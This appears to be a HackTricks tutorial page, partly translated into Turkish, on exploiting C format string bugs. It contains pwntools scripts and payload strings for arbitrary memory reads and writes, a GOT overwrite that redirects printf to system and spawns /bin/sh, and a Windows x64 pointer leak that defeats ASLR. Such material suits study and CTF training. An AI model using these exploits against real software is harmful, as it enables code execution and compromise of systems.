Format Strings

Reading time: 10 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Basic Information

C'de printf bazı dizeleri yazdırmak için kullanılan bir fonksiyondur. Bu fonksiyonun beklediği ilk parametre, formatlayıcıları içeren ham metindir. Takip eden parametreler ise ham metindeki formatlayıcıları yerine koymak için gereken değerlerdir.

Diğer zafiyete açık fonksiyonlar sprintf() ve fprintf()'dir.

Zafiyet, bu fonksiyona saldırgan metninin ilk argüman olarak verilmesi durumunda ortaya çıkar. Saldırgan, printf format string yeteneklerini suistimal ederek okunabilir ve herhangi bir adresteki herhangi bir veriyi yazmak (okunabilir/yazılabilir) için özel bir girdi oluşturabilir ve bu yolla istediği herhangi bir kodu çalıştırabilir.

Formatters:

bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Örnekler:

  • Zafiyetli örnek:
c
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Normal Kullanım:
c
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Eksik Argümanlarla:
c
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf güvenlik açığı olan:
c
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

İşaretçilere Erişim

Biçim %<n>$x, burada n bir sayıdır, printf'e stack'ten n. parametreyi seçmesini belirtmeyi sağlar. Yani printf kullanarak stack'ten 4. parametreyi okumak istiyorsanız şu şekilde yapabilirsiniz:

c
printf("%x %x %x %x")

ve birinci parametreden dördüncü parametreye kadar okurdunuz.

Veya şöyle yapabilirsiniz:

c
printf("%4$x")

ve doğrudan dördüncüyü okumak.

Dikkat edin ki saldırgan printf **parameterını kontrol eder; bu temelde** girdisinin printf` çağrıldığında stack'te olacağı anlamına gelir, bu da stack'e belirli memory addresses yazabileceği anlamına gelir.

caution

Bu girdiyi kontrol eden bir saldırgan, stack'e arbitrary address ekleyip printf'in onlara erişmesini sağlayabilir. Bir sonraki bölümde bu davranışın nasıl kullanılacağı açıklanacaktır.

Arbitrary Read

%n$s formatlayıcısını kullanarak printf'in n position'da bulunan address'i almasını, onun izini takip etmesini ve bir stringmiş gibi yazdırmasını (0x00 bulunana kadar yazdırır) sağlamak mümkündür. Bu nedenle binary'nin base address'i 0x8048000 ise ve user input'un stack'te 4th position'da başladığını biliyorsak, binary'nin başlangıcını şu şekilde yazdırmak mümkündür:

python
from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

caution

input'un başına 0x8048000 adresini koyamayacağınızı unutmayın çünkü string o adresin sonunda 0x00'da cat olacaktır.

Ofseti bul

input'unuzun ofsetini bulmak için 4 veya 8 byte (0x41414141) gönderebilir, bunu %1$x ile takip edebilir ve A's geri gelene kadar değeri artırabilirsiniz.

Brute Force printf offset
python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()

# Start a new process of the "chall" binary
p = process("./chall")

# Send the payload to the process
p.sendline(payload)

# Read and store the output of the process
output = p.clean()

# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break

# Close the process
p.close()

Ne kadar yararlı

Arbitrary reads şu amaçlarla yararlı olabilir:

  • Bellekten binary'yi Dump etmek
  • Hassas info'nun saklandığı memory'nin belirli bölümlerine erişmek (ör. canaries, encryption keys veya custom passwords gibi bu CTF challenge)

Arbitrary Write

The formatter %<num>$n stack'teki parametresinin gösterdiği adrese yazılmış byte sayısını yazar. Eğer bir saldırgan printf ile istediği kadar char yazabiliyorsa, %<num>$n ile herhangi bir adrese arbitrary bir sayı yazdırabilir.

Neyse ki 9999 sayısını yazdırmak için input'a 9999 adet "A" eklemeye gerek yok; bunun yerine formatör %.<num-write>%<num>$n kullanılarak <num-write> sayısı num pozisyonunun gösterdiği adrese yazılabilir.

bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Ancak, genellikle 0x08049724 gibi bir adresi yazmak (ki bu bir kerede yazmak için ÇOK BÜYÜK bir sayı) için $n yerine $hn kullanılır. Bu, sadece 2 Bytes yazılmasını sağlar. Bu yüzden bu işlem iki kez yapılır; bir kez adresin en yüksek 2B'si için ve bir kez en düşükleri için.

Bu nedenle, bu zafiyet herhangi bir adrese herhangi bir şeyi yazma (arbitrary write) imkanı verir.

Bu örnekte amaç, daha sonra çağrılacak bir function'ın GOT tablosundaki address'ini overwrite etmektir. Ancak bu, diğer arbitrary write to exec tekniklerini de kullanabilir:

Write What Where 2 Exec

Kullanıcıdan argümanlarını alan bir functionoverwrite edip onu system function'ına yönlendireceğiz.
Daha önce bahsedildiği gibi, adresi yazmak genellikle 2 adım gerektirir: Önce adresin 2Bytes'ını yazarsınız, sonra diğer 2'sini. Bunun için $hn kullanılır.

  • HOB is called to the 2 higher bytes of the address
  • LOB is called to the 2 lower bytes of the address

Sonra, format string'in çalışma şekli nedeniyle önce [HOB, LOB] arasındaki en küçük olanı yazmanız ve sonra diğerini yazmanız gerekir.

If HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

If HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools Template

Bu tür bir zafiyeti exploit etmek için bir şablon şu adreste bulunabilir:

Format Strings Template

Veya here adresindeki bu temel örnek:

python
from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings to BOF

Bir format string açığının yazma işlemlerini suistimal ederek stack adreslerine yazmak ve bir buffer overflow türündeki açığı exploit etmek mümkündür.

Windows x64: Format-string leak to bypass ASLR (no varargs)

Windows x64'te ilk dört integer/pointer parametre register'larda geçirilir: RCX, RDX, R8, R9. Birçok hatalı call-site'te attacker-controlled string format argument olarak kullanılır ancak hiç variadic arguments sağlanmaz, örneğin:

c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);

Because no varargs are passed, any conversion like "%p", "%x", "%s" will cause the CRT to read the next variadic argument from the appropriate register. With the Microsoft x64 calling convention the first such read for "%p" comes from R9. Whatever transient value is in R9 at the call-site will be printed. In practice this often leaks a stable in-module pointer (e.g., a pointer to a local/global object previously placed in R9 by surrounding code or a callee-saved value), which can be used to recover the module base and defeat ASLR.

Pratik iş akışı:

  • Saldırgan kontrollü string'in en başına, ilk dönüşüm herhangi bir filtrelemeden önce çalışacak şekilde "%p " gibi zararsız bir format enjekte edin.
  • Leaked pointer'ı yakalayın, modül içindeki o nesnenin statik offset'ini belirleyin (symbols ile veya yerel bir kopya üzerinde bir kez reversing yaparak) ve image base'i leak - known_offset olarak geri kazanın.
  • Bu base'i yeniden kullanarak ROP gadget'ları ve IAT girişleri için mutlak adresleri uzaktan hesaplayın.

Example (abbreviated python):

python
from pwn import remote

# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-"  # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16)   # e.g. 0x7ff6693d0660
base   = leaked - 0x20660                     # module base = leak - offset
print(hex(leaked), hex(base))

Notlar:

  • Çıkarılacak kesin offset, yerel reversing sırasında bir kez bulunur ve sonra tekrar kullanılır (same binary/version).
  • Eğer "%p" ilk denemede geçerli bir pointer yazdırmıyorsa, diğer specifier'ları ("%llx", "%s") veya diğer argüman register'larını/stack'i örneklemek için birden fazla conversion ("%p %p %p") deneyin.
  • Bu desen, Windows x64 calling convention ve printf-family implementasyonlarına özeldir; format string onları istediğinde varargs olmayan değerleri register'lardan çeker.

Bu teknik, ASLR ile derlenmiş ve belirgin memory disclosure primitives olmayan Windows servislerinde ROP'u bootstrap etmek için son derece kullanışlıdır.

Diğer Örnekler ve Referanslar

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin